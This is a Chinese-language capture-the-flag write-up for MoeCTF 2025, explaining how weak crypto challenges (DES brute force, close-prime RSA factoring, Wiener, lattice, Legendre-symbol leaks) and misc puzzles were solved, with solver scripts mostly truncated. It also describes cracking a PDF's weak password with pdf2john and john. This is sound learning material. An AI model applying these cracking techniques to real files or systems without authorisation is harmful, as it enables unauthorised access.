星澜音解出 118 道题中的 108 道,得分 16120 pts,排行全榜第 5,全校第 1。
镜雨亭 内的 MoeCTF 2025 题解仅记录了每道题目的简要过程。如果你好奇做题过程中星澜音完整的思维链 一些绕得极为搞笑的弯路 与编写的 exploit 或 solver,可以看看星澜音于 GitHub 上提交的 完整题解。
前言
to be done
密码学 Crypto
星澜音从来没有接触过密码学和相关领域,对常用的加密算法、数学原理之类的也是现学现用,所以密码学的这些题目做起来是相对困难的。😭但好在星澜音数学基础还算中等偏上,费力查阅资料后,也能理解个八九不离十。
✅ Crypto 入门指北
脚本的 generate_elgamal_keypair 实现了 ElGamal 加密算法。题目已经给出了私钥 x,我们便可以直接编写解密脚本以解密。关于这道题背后的原理,即群、裴蜀定理和 ElGamal 加密算法等的内容,星澜音写了一篇文章:
解密脚本及运行结果
1 | """crypto_beginning_solver.py |
1 | b'moectf{th1s_1s_y0ur_f1rst_ElG@m@l}' |
✅ ez_DES
脚本随机生成了一个以 ezdes 开头的 8 个字符的字符串,并以其作为 DES 密钥加密未完全给出的 flag。可以编写爆破脚本,使用 Crypto.Cipher 现有的 DES 算法来爆破 DES 密钥,并尝试解密密文 c。
解密脚本及运行结果
1 | """ez_des_solver.py |
1 | PS S:\MoeCTF\Crypto> python .\ez_des_brute_force.py |
✅ baby_next
题目给出了一个自定义的 RSA 算法,并随机生成了一个 $512$ 位的素数作为 $p$,取 $q$ 为 $p$ 之后的第 $114,514$ 个质数。事实上,在数学上,我们可以认为:$q$ 和 $p$ 是非常接近的。
为何说 $q$ 和 $p$ 是非常接近的
根据 素数定理,位于大小约为 $p$ 的素数的附近的 平均相邻素数间距 大约是 $\ln p$,因此对于相对小的 $k$ 和相对大的 $p$ 而言,$p$ 的第 $k$ 个后继素数的大致位置可以近似表示为 $p + k \ln p$。需要注意的是,这是平均意义上的估计,但对于题目中 $p$ 和 $q$ 的相对大小而言,已足够有参考价值。
对于题目生成的 $p \in (2^{511}, 2^{512})$,我们取中点量级 $2^{511.5}$,有
$$
\ln p \approx 511.5 \cdot \ln 2 \approx 354.54
$$
因此,$k = 114,514$ 时,$q$ 与 $p$ 的预期总距离约为
$$
k \ln p \approx 114,514 \times 354.54 \approx 4.0600 \times 10^7
$$
计算 $p$ 和 $q$ 的相对差 $\frac{q - p}{p} \approx 4 \times 10^{-147}$,这是极小的,因此我们可以认为 $p$ 和 $q$ 是非常接近的。
考虑到 $q$ 和 $p$ 非常接近,我们可以认为,其算术平均数 $a = \frac{p + q}{2}$ 和 $\sqrt{n}$ 也应该是非常接近的。再设 $b = \frac{q - p}{2}$,可以得到 $p = a - b$ 和 $q = a + b$,代入 $n$ 的计算公式有:
$$
n = p \times q = (a+b)(a-b) = a^2 - b^2
$$
也就是
$$
a^2 - n = b^2
$$
考虑到 $b$ 是正整数,所以 $a^2 - n$ 必须是一个完全平方数;考虑 $b$ 逐渐增大,即,使 $a$ 逐渐增大且 $a > b$,我们只需要从 $a = \lceil \sqrt{n} \rceil$ 开始向上迭代即可,找到一个完全平方的 $a^2 - n$,即成功分解了 $n$。
解密脚本及运行结果
1 | """baby_next_solver.py |
1 | PS S:\MoeCTF\Crypto> python .\baby_next_decode.py |
✅ ezBSGS
题目要求我们找到
$$
13^x = 114514 \pmod{100000000000099}
$$
中 $x$ 的最小值。按照常理,$x$ 的值应当不小,使用普通枚举法是困难的。在这里,我们使用 Baby-Step Giant-Step (BSGS) 算法解决这道题目。关于 BSGS 算法,可以参考星澜音所写的文章
解密脚本及运行结果
1 | """ezBSGS_solver.py |
1 | PS S:\MoeCTF_2025_writeup\writeup\crypto\problems_and_solutions\ezBSGS> python .\ezBSGS_solver.py |
✅ ezsquare
题目脚本
1 | from secret import flag |
这里给出题目脚本。我们将在下文沿用脚本中的记号 $p$、$q$、$n$、$e$、$m$ 和 $c$,并简记 hint 为 $h$。
我们最终的目标是解出 $m$,根据先前的讨论,我们需要先解出 $p$ 和 $q$ 的值。考虑到我们已知二者的乘积 $n$,这自然让我们想到:若能求出二者的和,则可以使用 一元二次方程求根公式 得到 $p$ 和 $q$,那么求解 $m$ 即水到渠成。
观察题目中给出的 $h$ 的计算方法:
$$
h = (p + q)^2 \bmod n
$$
这意味着 $\exists k \in \mathbb{Z}_+$,使得
$$
(p + q)^2 = k \cdot n + h
$$
其中 $n, h$ 均为已知数。考虑到 $p$ 和 $q$ 均为 getPrime 函数生成的大素数,且 $2^{511} < p < 2^{512}, 2^{511} < q < 2^{512}$,若 $p = q$ 则必有 $h = 0$,故不妨设 $p < q$,则
$$
1 < \frac{q}{p} < 2
$$
这说明,我们总能通过对 $k$ 进行有限次数的枚举,以计算出 $p + q$ 的值。同时,我们由基本不等式可知
$$
(p + q)^2 > (2 \sqrt{ab})^2 = 4 ab = 4n
$$
(不取等是因为 $p \neq q$)$k$ 的值最小应为 $4$。所以,我们由 $k = 4$ 开始向上遍历即可。
为何不分解 $h$?
读者可能会从分解 $h$ 的角度出发。事实上,我们确可以发现 $h$ 是一个完全平方数,只需注意到
$$
\begin{align*}
\sqrt{h} = 2,
&343,458,209,274,425,996,985,047,093,820,\\
&966,198,128,351,630,302,072,151,512,123,\\
&489,799,998,738,482,601,894,111,632,387,\\
&083,653,590,921,895,308,705,989,628,111,\\
&300,210,058,143,690,024,967,352,474,744,452
\end{align*}
$$
但是我们之前讨论过了必须有 $k \geq 4$,所以分解 $h$ 没用,因为它对应 $k = 0$ 的情况。
解密脚本及运行结果
1 | """ez_square_solver.py |
1 | PS S:\MoeCTF_2025_writeup\writeup\crypto\problems_and_solutions\ez_square> python .\ez_square_solver.py |
✅ ez_AES
是一个自定义的 AES 脚本,但不难发现,给出的脚本在 shift_rows 处存在 bug:
1 | def shift_rows(grid): |
bug 具体出现在行 grid = grid[0::4] + grid[1::4] + grid[2::4] + grid[3::4]。
shift_rows 函数在第一次循环之前,grid 指向的是传入的 bytearray。第一次 grid[i::4] = ... 确会改变传入的 bytearray,但随后 grid 被重新绑定为一个新列表;后续循环对 grid 的修改仅发生在这个新列表上,而不会作用到原始 bytearray 上。这导致传入的 bytearray 仅在 i=0 次的 slice 赋值时被改动,而 i=0 的旋转本身则为 rotate by 0,导致 shift_rows 实质上变成了 no-op。也就是说,该 AES 算法根本就没有进行 shift_rows 操作。
故我们只需在自定义的 AES 解密脚本中 pass 掉 shift_rows 即可。
解密脚本
1 | #!/usr/bin/env python3 |
✅ ez_det
下述内容将会使用部分线性代数知识。考虑到读者已经掌握或即将掌握线性代数知识,对于 writeup 中使用到的一些术语、公理或定理,这里便不做说明。
题目脚本解析
脚本使用 bytes_to_long() 将 flag 转换为大整数 $f$ 后,将其作为列表 m_blocks 的第一个元素,并将第 $2..5$ 个元素填充为 $0$,得到
$$
\text{m_blocks} = [f, 0, 0, 0, 0]
$$
随后脚本生成了一个 $128$ 位的大素数 $p$,这里 $p \in (2^{127}, 2^{128})$。
紧接着,脚本创建了一个名为 Noise 的 $4 \times 5$ 矩阵,该矩阵中每一个元素都是使用 randrange(1, p) 生成的随机整数。然后,脚本将 m_blocks 嵌入 Noise 矩阵的末尾作为第 $5$ 行,并由 M = matrix(Noise) 将这个 $5 \times 5$ 的矩阵转换为 SageMath 的矩阵对象 $M$。得到
$$
M =
\begin{bmatrix}
r_1 & r_2 & r_3 & r_4 & r_5 \\
r_6 & r_7 & r_8 & r_9 & r_{10} \\
r_{11} & r_{12} & r_{13} & r_{14} & r_{15} \\
r_{16} & r_{17} & r_{18} & r_{19} & r_{20} \\
f & 0 & 0 & 0 & 0
\end{bmatrix}
$$
其中 $r_i$ 表示随机数。
下面,脚本创建了两个 $5 \times 5$ 的单位矩阵,并分别命名为 $\text{upper}$ 和 $\text{low}$,随后它通过两层循环,在 $\text{upper}$ 的上三角部分和 $\text{low}$ 的下三角部分填充以 randrange(1, p) 生成的随机数。也就是
$$
\begin{aligned}
\text{upper} &=
\begin{bmatrix}
1 & r_1 & r_2 & r_3 & r_4 \\
0 & 1 & r_5 & r_6 & r_7 \\
0 & 0 & 1 & r_8 & r_9 \\
0 & 0 & 0 & 1 & r_{10} \\
0 & 0 & 0 & 0 & 1 \\
\end{bmatrix} \\ \ \\
\text{low} &=
\begin{bmatrix}
1 & 0 & 0 & 0 & 0 \\
r_1 & 1 & 0 & 0 & 0 \\
r_2 & r_3 & 1 & 0 & 0 \\
r_4 & r_5 & 0 & 1 & 0 \\
r_7 & r_8 & r_9 & r_{10} & 1 \\
\end{bmatrix} \\
\end{aligned}
$$
其中 $r_i$ 表示随机数。
随后脚本将上三角矩阵 $\text{upper}$ 和下三角矩阵 $\text{low}$ 相乘,得到结果矩阵 $\text{result}$。考虑到前两者均为三角矩阵,其对角线元素均为 $1$,因此其行列式均为 $1$。根据矩阵行列式的性质 $\det(\text{upper} \times \text{lower}) = \det(\text{upper}) \times \det(\text{lower})$,显然有 $\det(\text{result}) = 1 \times 1 = 1 \neq 0$,这保证了矩阵 $\text{result}$ 是可逆的。脚本后续的逻辑将返回的矩阵 $\text{result}$ 记为 $A$,以下我们沿用该记号。
预备操作完成后,脚本进行加密操作,使用密钥矩阵 $A$ 左乘包含明文的矩阵 $M$:
$$
C = A \times M
$$
得到密文 $C$。随后程序输出矩阵 $M$ 的前 $4$ 行内容(也就是 Noise 矩阵)和矩阵 $C$ 的完整内容。我们的目标是,在已知 $C$ 和 $M$ 的前 $4$ 行内容的情况下,求出 $f$ 的值。
事实上,基于矩阵的该自定义加密算法属于 线性加密系统,这意味着整个加密运算仅涉及乘法和加法。线性系统最大的特点就是,只要我们已知足够多的条件,就可以将整个系统如解方程组一般解开。即使我们无法一次性求解 $A$ 和 $M$ 的全部,我们也可以利用已知的条件,一步步地求出未知的 $A$ 的一部分,再利用这一部分求出 $M$ 的一部分,从这一部分中剥离出 $f$。我们分数步解决该问题。
Step 1:利用不含 $f$ 的列,解出 $A$ 的前 $4$ 列
矩阵乘法具有这样的性质:$C = A \times M$ 不仅整体上成立,它对每一列也同样成立。也就是说,$C$ 的第 $j$ 列($C[:, j]$)等于 $A$ 乘以 $M$ 的第 $j$ 列($M[:, j]$)。这个性质让我们能够把一个大的矩阵问题拆分为 $5$ 个独立的列向量问题来分析。
我们注意到 $f$ 只存在于 $M$ 的第 $0$ 列,对于 $j = 1, 2, 3, 4$ 这四列,其对应的列向量的最后一个元素是 $0$。当我们用矩阵 $A$ 去乘以这样一个列向量时,$A$ 的最后一列($A[:, 4]$)将会乘以这个向量的最后一个元素,也就是乘以 $0$。即,对于 $j > 0$,$C$ 矩阵中的元素 $C[i, j]$ 的计算公式
$$
\begin{aligned}
C[i, j] &= A[i, 0] \times M[0, j] + A[i, 1] \times M[1, j] \\
&+ A[i, 2] \times M[2, j] + A[i, 3] \times M[3, j] \\
&+ A[i, 4] \times M[4, j]
\end{aligned}
$$
中的 $A[i, 4] \times M[4, j]$ 为 $0$。这意味着,对于 $j = 1, 2, 3, 4$ 这四列,其计算结果 $C[:, j]$ 与 $A$ 的最后一列 完全无关。上式可化作:
$$
\begin{aligned}
C[i, j] &= A[i, 0] \times M[0, j] + A[i, 1] \times M[1, j] \\
&+ A[i, 2] \times M[2, j] + A[i, 3] \times M[3, j]
\end{aligned}
$$
这是一个方程。在这个方程内,$C[i, j]$ 已给出,$M[0, j]$ 到 $M[3, j]$ 亦已给出,唯有 $A[i, 0]$ 到 $A[i, 3]$ 是未知的。考虑到 $i = 0, 1, 2, 3, 4$ 和 $j = 1, 2, 3, 4$ 的取值范围,我们共可以写出 $20$ 个这样的方程;而我们求解的未知数正好是 $A$ 的前四列的所有元素,这些元素也有 $20$ 个。因此,我们得到了一个包含 $20$ 个未知数和 $20$ 个线性方程的方程组。考虑到 Noise 的随机性,该方程组通常是有唯一解的。这样,我们便能够解出 $A$ 的前四列($A[:, 0]$ 到 $A[:, 3]$)。
Step 2:分离出与 $f$ 相关的向量
我们已经求出 $A$ 的前 $4$ 列,现在,我们便可以求出 $M$ 的第 $0$ 列,也就是包含 $f$ 的那一列。我们写出第 $0$ 列的方程:
$$
C[:, 0] = A \times M[:, 0]
$$
展开后有
$$
\begin{aligned}
C[:, 0] &= A[:, 0] \times M[0, 0] + A[:, 1] \times M[1, 0] \\
&= A[:, 2] \times M[2, 0] + A[:, 3] \times M[3, 0] \\
&= A[:, 4] \times M[4, 0]
\end{aligned}
$$
其中,$M[4, 0]$ 即为 $f$,$M[0, 0]$ 到 $M[3, 0]$ 是 Noise 的第一列,是已知的。$C[:, 0]$ 是密文的第一列,亦是已知的。而 $A[:, 0]$ 到 $A[:, 3]$,即 $A$ 的前 $4$ 列已经在 Step 1 中解出。
移项可得
$$
b := C[:, 0] - (A[:, 0] \times M[0, 0] + \cdots + A[:, 3] \times M[3, 0]) = A[:, 4] \times f
$$
我们在这里定义了向量 $b$,这是我们能直接计算出的 $5 \times 1$ 的整数向量,其每个元素是某个整数 $A[i, 4]$ 与 $f$ 的乘积,即
$$
b = A[:, 4] \times f
$$
考虑到 $b$ 和 $A[:, 4]$ 均为已知的,目标就变成了求解 $f$。
Step 3:从 $b$ 中提取 $f$
展开 Step 2 的结果:
$$
\begin{cases}
b[0] = A[0, 4] \times f \\
b[1] = A[1, 4] \times f \\
b[2] = A[2, 4] \times f \\
b[3] = A[3, 4] \times f \\
b[4] = A[4, 4] \times f
\end{cases}
$$
我们已知 $b$ 的所有元素,但不知道 $A$ 的最后一列和 $f$。为了求解 $f$,我们在这里引入两种方法,前者较为直接和简洁、后者较为稳妥和鲁棒。
方法 1:使用最大公约数(GCD)
我们观察上面的等式可以发现,向量 $b$ 的所有元素都含有共同的因数 $f$。我们考虑
$$
\begin{aligned}
& \gcd(b[0],\ b[1],\ b[2],\ b[3],\ b[4]) \\
= & f \times \gcd(A[0, 4],\ A[1, 4],\ A[2, 4],\ A[3, 4],\ A[4, 4])
\end{aligned}
$$
由于 $A[i, 4]$ 均为随机生成的大数,我们大胆断言,这 $5$ 个元素 几乎不可能 有除了 $1$ 之外的公约数。因此,有
$$
\begin{aligned}
& \gcd(b[0],\ b[1],\ b[2],\ b[3],\ b[4]) \\
= & f \times \gcd(A[0, 4],\ A[1, 4],\ A[2, 4],\ A[3, 4],\ A[4, 4]) \\
= & f \times 1 \\
= & f
\end{aligned} \\
$$
故只需对 $b$ 的所有元素求取最大公约数即可得到 $f$。
方法 2:使用更稳妥的数学方法
这种方法不依赖于 $\gcd(b[0..4]) = 1$,因此是更稳妥和鲁棒的,可以适用于方法 1 不奏效的情况。注意到我们已经有 $A$ 的前 $4$ 列,且已知 $\det(A) = 1$,结合 $b = A[:, 4] \times f$,事实上,使用 LLL 算法等方法,我们是可以算出完整的 $A$ 的。之后,我们可以计算出 $A$ 的逆矩阵 $A^{-1}$,由
$$
\begin{aligned}
C &= A \times M \\
A^{-1} \times C &= A \times A^{-1} \times M \\
A^{-1} \times C &= M
\end{aligned}
$$
只需计算 $M = A^{-1} \times C$ 即可得到完整的明文矩阵 $M$。该方法更严谨,但实现起来比方法 1 困难许多。
从上面的推理中我们也可以发现,因为 $\det(A) = 1$,存在整逆元,因此理论上我们总能精确恢复 $M$,也就是说,这是一个安全可逆的 masking,而不是传统的模 $p$ 意义上的不可逆。
解密脚本及运行结果
1 | # MARSER 的解题脚本 —— 用 exact rational 解线性方程并取 gcd 得 flag |
1 | PS S:\MoeCTF_2025_writeup\writeup\crypto\problems_and_solutions\ez_det> python .\ez_det_solver.py |
✅ ezlegendre
脚本从 secret.py 中取出 flag 后,将 flag 的每个字节转换为 8 位二进制字符串(不足 8 位的在前面补 0),随后拼接这些二进制字符串为一个大的字符串 plaintext。随后,脚本对 plaintext 中的每一个二进制比特 b 进行如下操作:
- 随机生成一个 16 位的素数 $e$;
- 生成一个随机整数 $d$,这里 $1 \leq d \leq 10$;
- 计算 $n = (a + b \cdot d)^e \bmod p$。考虑到二进制比特
b非0即1,我们可以进行分类讨论:若 $b = 0$ 则 $n = a^e \bmod p$;若 $b = 1$ 则 $n = (a + d)^e \bmod p$; - 将
n追加到ciphertext中。
指数 $e$ 是一个 16 位的素数,而除 $2$ 之外的所有素数都是奇数,所以 $e$ 一定是奇数。我们知道,对于奇数 $e$,一个数的 $e$ 次方与其本身在模奇素数 $p$ 下的二次剩余性质相同,即,在 Legendre Symbol 下满足:
$$
\left( \frac{a^e}{p} \right) = \left( \frac{a}{p} \right)
$$
我们考虑每一个密文 $n$,计算其 $\left( \dfrac{n}{p} \right)$:考虑到 $\left( \dfrac{a + bd}{p} \right) \in \{1, -1\}$(这里假设了 $a + bd \not \equiv 0 \pmod{p}$,这种情况应当不会出现),而 $e$ 是奇数,所以
$$
\left( \frac{n}{p} \right) = n^{\frac{p-1}{2}}
= ((a + bd)^e)^{\frac{p-1}{2}} = ((a + bd)^\frac{p-1}{2})^e = \left( \frac{a + bd}{p} \right)
$$
也就是
$$
\boxed{ \left( \frac{n}{p} \right) = \left( \frac{a + bd}{p} \right). }
$$
- 若 $\left( \dfrac{n}{p} \right) \not = \left( \dfrac{a}{p} \right)$ 则必然有 $b = 1$。这在上式中是显然的,因为,若 $b = 0$,则根据 $a^e$ 的 Legendre Symbol 性质,必然有 $\left( \dfrac{n}{p} \right) = \left( \dfrac{a}{p} \right)$。
- 若 $\left( \dfrac{n}{p} \right) = \left( \dfrac{a}{p} \right)$,则 $b$ 应该 为 $0$。至于我们为什么说是「应该」,因为它实取决于 $\left( \dfrac{a+d}{p} \right) = \left( \dfrac{a}{p} \right)$ 是否成立,它的一般情况是无法确定的。不过,星澜音对题目给出的 $a$ 和 $p$ 进行了测试,证明了 $\left( \dfrac{a + d}{p} \right) = -1, \forall d \in \mathbb{Z} \text{ and } d \in [1, 10]$ 成立。因此在本题的情况下,我们可以放心认为 $\left( \dfrac{n}{p} \right) = \left( \dfrac{a}{p} \right)$ 时确有 $b = 0$。
基于这样的想法,我们可以爆破出密文的每一个比特位。
解密脚本及运行结果
1 | """ezlegendre_solver.py |
1 | PS S:\MoeCTF\Crypto> python .\ezledengre_decrypt.py |
❌ 杂交随机数
卡在了一个诡异的地方……
✅ 沙茶姐姐的 Fufu
题目
题目描述
众所周知,沙茶姐姐很喜欢 Fufu,于是她趁着暑假准备大量购入 Fufu,现在有 $N (1 \leq N \leq 10^3)$ 只 Fufu 在沙茶姐姐的购物清单上,每只 Fufu 能且仅能购买 一次,其中第 $i$ 只 Fufu 的可爱程度为 $\omega_i (1 \leq \omega_i \leq 10^9)$,每只 Fufu 还有一个保养难度 $c_i (1 \leq c_i \leq 10^4)$,沙茶姐姐的精力 $M (1 \leq M \leq 10^4)$ 有限,也就是沙茶姐姐持有的所有 Fufu 的保养难度的总和不能大于 $M$,但她又想买入 总可爱度 尽可能多的 Fufu。现在,她把这个问题交给了你,请你帮她算算总可爱度最多可以是多少。
形式化地,你需要求出给定的 $N$ 只 Fufu 的一个子集 $S$ 在满足 $\sum_{i \in S}c_i \leq M$ 的前提下,$\sum_{i \in S}\omega_i$ 的最大值。
由于沙茶姐姐是一种多维生物,所以你需要为所有 $T$ 个平行宇宙中的沙茶姐姐解决问题,在解决所有沙茶姐姐的问题后,所有问题答案的 异或和 就是沙茶姐姐给你的报酬——本题 flag 的内容。
输入格式
第一行一个整数 $T$。
接下来 $T$ 组数据表示每一个子问题,每组数据第一行两个整数 $N$ 和 $M$,接下来 $N$ 行每行两个整数 $c_i$ 和 $\omega_i$ 描述一个 Fufu。
这是简易的 0-1 背包问题,对于 OIer 来讲应该是随手的。但是星澜音没学过 OI,所以理解起来还是有点费力。
解密脚本
1 | # 运行:python solve.py < input.txt |
❌ (半^3) 部电台
又卡在了诡异的地方……😭
✅ Ez_wiener
简易的 Wiener 攻击。
解密脚本
1 | #!/usr/bin/env python3 |
✅ Prime_in_prime
从 $N = 2 \times h \times g + 1$ 中计算出 $h$,引入 $h$ 以解出 $a$ 和 $b$,使用 $a$ 和 $b$ 计算出 $p$ 和 $q$,以计算 $\phi(N) = (p-1) \times (q-1)$,求出 $e$ 在模 $\phi(N)$ 下的逆元私钥 $d$,使用 $d$ 对 $\text{enc}$ 解密即可。
解密脚本
1 | import gmpy2 |
✅ ez_lattice
该问题可化归为一个格(Lattice)中的 最短向量问题(Shortest Vector Problem, SVP)。通过使用 LLL 算法可以解决。本题使用了 SageMath 环境。
解密脚本
1 | # -*- coding: utf-8 -*- |
✅ happyRSA
只需注意到
$$
\text{power_tower_mod}(a, k, m) \equiv 1 + \text{n_phi} + \text{n_phi}^2 \pmod{\text{n_phi}^3}
$$
解密脚本
1 | import math |
✅ 神秘数字太多了
对于
$$
\underbrace{11 \ldots 1}_{N\text{ ones}} \equiv 114,514 \pmod{10,000,000,000,099}
$$
注意到
$$
\underbrace{11 \ldots 1}_{N\text{ ones}} = \frac{10^N - 1}{9}
$$
代入并于两边同乘 $9$ 后,得到
$$
10^N - 1 \equiv 9 \cdot 114,514 \pmod{9 \cdot 10,000,000,000,099}
$$
使用 BSGS 算法即可。得到
$$
N = 7,718,260,004,383
$$
更进一步地,考虑到 $9$ 与 $M$ 的因子互素(或我们直接说 $9$ 与 $M$ 互素),所以可以分别于模 $9$ 和模 $M$ 上求解,之后合并。
❌ ezHalfGCD
有一点思路,但不多……?似乎需要用到代数变形,等星澜音之后再研究吧。
❌ wiener++
这是个啥东西……?我连 CTF Wiki 上的那一段都看不懂😭
✅ Legendre_revenge
题目将 $16 \times 2$ 个微比特信息打包成一个小于 $2^{16}$ 的整数 key 并用一个大模 $p$ 验证 pow(key, 2*e, p_) == V,所以 key 可穷举;另一端将最终的 32 字节用取模平方隐藏为 text,可以还原出 2 种候选根;剩下的就是按轮逆向:每个输出字节仅依赖一个 AES 加密输出字节和一位 bit,因此可以逐个字枚举候选并组合成 16 字节 enc、AES 解密检验并回溯 10 轮以得到原始 flag。
解密脚本
1 | # ctf_crypto_solver.py |
安全杂项 Misc
这部分题目还是蛮有意思的😋好玩不难,除了 Pyjail 6😭不过说句实话,Pyjail 6 虽然难度有点逆天,但思路非常震撼,几乎可以说是令人「叹为观止」……是特别伟大的题目。
✅ 2048_master
IDA Pro 分析 2048_master.exe,在 WinMain 函数中找到 WNDPROC 函数 sub_402F84()。分析该函数,在第 243 行找到 else if ( n20 == 1 ) 分支,注意到第 252 行和第 253 行,程序以 CreateThread 创建了两个线程 StartAddress 和 sub_401E38,flag 隐藏在其中或可由其得到的概率极大。
Misc 的 2048_master 题,flag 埋藏在 StartAddress 中。
StartAddress 函数
StartAddress 函数1 | void __fastcall __noreturn StartAddress(LPVOID lpThreadParameter) |
StartAddress 的中间部分以 byte_4B60E0 的值判断是否进行额外操作:若是,则对 byte_47F0C0 中的 41 个特定数据字节每 4 个地进行 XOR(与 0x2A)解码。我们猜测 flag 与 byte_47F0C0 相关,提取出 byte_47F0C0 并在 CyberChef 中使用 From Hex 和 XOR 即可得到 flag。

✅ Misc 入门指北
不难注意到,该 flag 以白色文本隐藏在题目给定的 PDF 文件中。

✅ Rush
使用工具逐帧提取题目给定的 .gif 文件,得到第 12 帧图片如下。

不难发现这是一个残缺的二维码。判断该二维码的大小为 37x37 (ver.5),根据给出的部分判断其纠错等级为 H,掩码图案为 1。使用工具补全该二维码并尝试解码即可。

微信似乎有鲁棒性极强的二维码识别库,在左上角补全一个框后便可直接识别。
✅ ez_LSB
参考
的内容,使用 StegSolve 的 Data Extract 功能,猜测并设置下图的参数,在解压出的数据最上部获得 flag 的 Base64 编码后内容。

使用任意 Base64 解码器解码后得到 flag。
✅ ez_锟斤拷????
注意到「锟斤拷」是经典的 GBK 和 UTF-8 编码互转时出现的问题,我们直接使用编码恢复工具即可。需要注意的是得到的解码结果是全角字符,需要手动转为半角字符。

✅ weird_photo
使用 pngcheck 检验 photo.png 的 CRC 信息,直接发现问题:
1 | ┌──(stellalyrin㉿lyrin-A16)-[/mnt/s/MoeCTF/Misc] |
这是诡异的。校正 CRC 信息至正确的高度可能有些困难,我们直接尝试部分拉长图片的高度信息。将图片使用 HexEd.it 打开后,更改第 17 个字节从 01 到 02 后另存为文件即可得到 flag。

Windows 11 的「照片」应用可以顺利打开被拉伸过度的图片,但似乎大多数平台均无法处理 CRC 信息错误的图片。这里不得不夸赞一次 Windows 11 的先进了(?)
✅ SSTV
使用线上 SSTV Decoder 可直接得到 flag。

✅ encrypted_pdf
题目给定的 attachment.zip 中,diary.txt 给出提示
So I will use a password that is simple enough.
这说明加密的 不知道写什么.pdf 采用弱密码。使用 pdf2john 提取哈希后,再使用 john 爆破即可,得到弱密码 qwe123。

打开 PDF 后,在第 2 页得到了一个 flag 或 moectf 字样,但并未成功。
考虑到 flag 文本可能被 XDSEC 娘遮挡,我们
直接将 XDSEC 娘从屏幕里抱走

于是得到了 XDSEC 娘和题目的 flag。
呜呜呜 XDSEC 娘你带我走吧✋😭🤚我什么 CTF 都会做的😭😭😭
✅ 哈基米难没露躲
本年度最迷惑题目。
打开附件 hachimigo.zip 中的 はちみ語.txt,得到:
「はちみ語.txt」内容
南北绿豆奈哪买噶奈哪买南北绿豆;欧莫季里噶奈哪买噶奈哦吗吉利。哦吗吉利哪买噶奈哪椰奶龙?哈基米买娜奈哪买北窝那没撸多。哈基米多多压那奈椰奶龙;奈诺娜美嘎哪买娜奈哪买窝那没撸多?哦吗吉利噶奈哪买哈基米;窝那没撸多噶奈哪买噶奈哪哈基米。库路曼波买噶奈哪买哦吗吉利,哈基米娜奈哪买北南北绿豆,哦吗吉利多多压那多多欧莫季里。阿西噶压压那南撸基阿奈诺娜美嘎,哈基米南里南北友里窝那没撸多。库路曼波一吉豆没咕椰奶龙,库路曼波吉豆没咕吉豆椰奶龙。库路曼波没咕吉豆没咕库路曼波?哦吗吉利吉豆没米吉库路曼波。阿西噶压豆耶咕吉豆没米窝那没撸多;南北绿豆吉豆没米哈基米;窝那没撸多吉豆没咕吉奈诺娜美嘎。库路曼波豆没咕吉豆椰奶龙,欧莫季里没咕吉豆没咕吉南北绿豆?库路曼波豆没米吉豆欧莫季里。哦吗吉利耶咕吉豆没咕奶哈基米;窝那没撸多压多那吉豆没咕奈诺娜美嘎。阿西噶压吉豆没咕吉哦吗吉利;椰奶龙豆没咕吉豆没咕南北绿豆。窝那没撸多吉豆没米奶压哈基米,哈基米多那吉豆没米吉哈基米?奈诺娜美嘎豆没咕吉豆窝那没撸多,南北绿豆没咕吉豆没咕吉窝那没撸多,窝那没撸多豆没咕吉哦吗吉利;南北绿豆豆没咕吉豆没米窝那没撸多;南北绿豆吉豆耶咕吉豆椰奶龙。哈基米没米吉豆哈基米?库路曼波耶吗多奈哪买噶哈基米。哦吗吉利奈哪买噶奈哪阿西噶压;南北绿豆买噶奈哪窝那没撸多;阿西噶压买噶奈哪买阿西噶压;哈基米娜多多压那窝那没撸多?欧莫季里奈哪买北多奈诺娜美嘎;哦吗吉利多压那呀里欧西库路曼波。窝那没撸多奈哪买噶奈哈基米;南北绿豆哪买噶奈哪哦吗吉利,欧莫季里买噶奈哪买噶奈库路曼波,库路曼波哪买噶多多压那库路曼波。哈基米奈哪买噶奈哪买南北绿豆?椰奶龙娜奈哪买哈基米,窝那没撸多噶奈哪买奈诺娜美嘎?阿西噶压噶奈哪买噶奈哪哈基米,阿西噶压买噶奈哪买娜奈奈诺娜美嘎。奈诺娜美嘎哪买北奈哪买噶椰奶龙?哦吗吉利奈哪买北奈诺娜美嘎,窝那没撸多奈哪买噶奈哪窝那没撸多?阿西噶压买噶奈哪买噶奈欧莫季里。库路曼波哪买噶奈哈基米?阿西噶压哪买噶多多压那阿西噶压。窝那没撸多奈哪买北奈哪买阿西噶压;库路曼波噶奈哪买噶窝那没撸多。南北绿豆奈哪买噶奈哈基米;椰奶龙哪买噶奈哪买哦吗吉利;南北绿豆噶奈哪买哈基米;哈基米噶多多压那奈诺娜美嘎?窝那没撸多奈哪买北奈哦吗吉利,库路曼波哪买娜奈椰奶龙。哈基米哪买噶奈哪欧莫季里?椰奶龙买噶奈哪买噶阿西噶压。哈基米奈哪买噶奈奈诺娜美嘎?欧莫季里哪买噶多多压那哦吗吉利,阿西噶压奈哪买娜奈哪买哦吗吉利,南北绿豆娜奈哪买噶奈哪哈基米;库路曼波买噶奈哪买窝那没撸多。哈基米噶奈哪买南北绿豆;椰奶龙噶奈哪买噶多多窝那没撸多,阿西噶压压那奈哪买椰奶龙,欧莫季里娜奈哪买奈诺娜美嘎,阿西噶压北奈哪买噶奈哪库路曼波。库路曼波买噶奈哪买噶奈阿西噶压?哈基米哪买噶奈南北绿豆,南北绿豆哪买娜奈哪买哈基米;哦吗吉利北奈哪买噶奈椰奶龙,库路曼波哪买北奈窝那没撸多,阿西噶压哪买噶奈哪买奈诺娜美嘎;奈诺娜美嘎噶奈哪买噶奈欧莫季里,阿西噶压哪买噶奈哪窝那没撸多。南北绿豆买噶多多阿西噶压,窝那没撸多压那奈哪阿西噶压?椰奶龙买北奈哪奈诺娜美嘎;窝那没撸多买娜奈哪买噶奈椰奶龙?哦吗吉利哪买噶奈阿西噶压。哈基米哪买噶奈哪窝那没撸多;库路曼波买噶奈哪买噶奈欧莫季里。南北绿豆哪买北多多压那窝那没撸多;欧莫季里奈哪买娜奈哪买奈诺娜美嘎;椰奶龙噶奈哪买噶窝那没撸多,奈诺娜美嘎奈哪买噶奈阿西噶压;阿西噶压哪买噶奈哪买娜阿西噶压;椰奶龙奈哪买北奈欧莫季里。奈诺娜美嘎哪买噶奈阿西噶压,椰奶龙哪买娜奈哪买欧莫季里?库路曼波噶奈哪买库路曼波。阿西噶压噶奈哪买噶窝那没撸多;窝那没撸多奈哪买噶奈哪买南北绿豆?阿西噶压噶多多压那椰奶龙,库路曼波奈哪买娜哈基米;窝那没撸多奈哪买噶阿西噶压,库路曼波喔酷娜利步啊那窝那没撸多?南北绿豆吉豆没